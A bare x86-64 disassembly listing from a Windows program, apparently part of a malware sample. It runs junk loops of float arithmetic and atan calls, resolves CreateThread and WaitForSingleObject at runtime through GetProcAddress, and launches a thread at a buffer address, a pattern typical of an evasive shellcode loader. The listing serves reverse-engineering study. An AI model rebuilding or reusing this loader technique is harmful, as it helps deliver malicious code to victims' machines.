cmp dword [rbp + 0x3c8], 0x45
jle 0x140002887
mov dword [rbp + 0x3c8], 0
jmp 0x14000299d
mov dword [rbp + 0x3c4], 0
jmp 0x14000298d
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x3c0]
mov eax, dword [rbp + 0x3c8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x220]
add rdx, rax
mov eax, dword [rbp + 0x3c4]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x3c0], eax
add dword [rbp + 0x3c4], 1
cmp dword [rbp + 0x3c4], 0x4b
jle 0x140002935
add dword [rbp + 0x3c8], 1
cmp dword [rbp + 0x3c8], 0x45
jle 0x140002929
mov rax, qword [rbp + 0x220]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x3bc], 0xffffffff
mov ecx, 0x1b18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x218], rax
add dword [rbp + 0x3bc], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x3bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x218]
add rax, rdx
movsd xmm1, qword [0x140006150]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x3bc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x218]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x3bc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x218]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x3bc], 0x361
jle 0x1400029d0
mov rax, qword [rbp + 0x298]
lea rdx, str.CreateThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x210], rax
mov rdx, qword [rbp + 0x238]
lea rax, [rbp + 0x164]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x210]
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x298]
lea rdx, str.WaitForSingleObject
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x208]
mov r8, qword [rbp + 0x200]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov dword [rbp + 0x1fc], eax
mov eax, 0
add rsp, 0x4b8
pop rbx
pop rbp
ret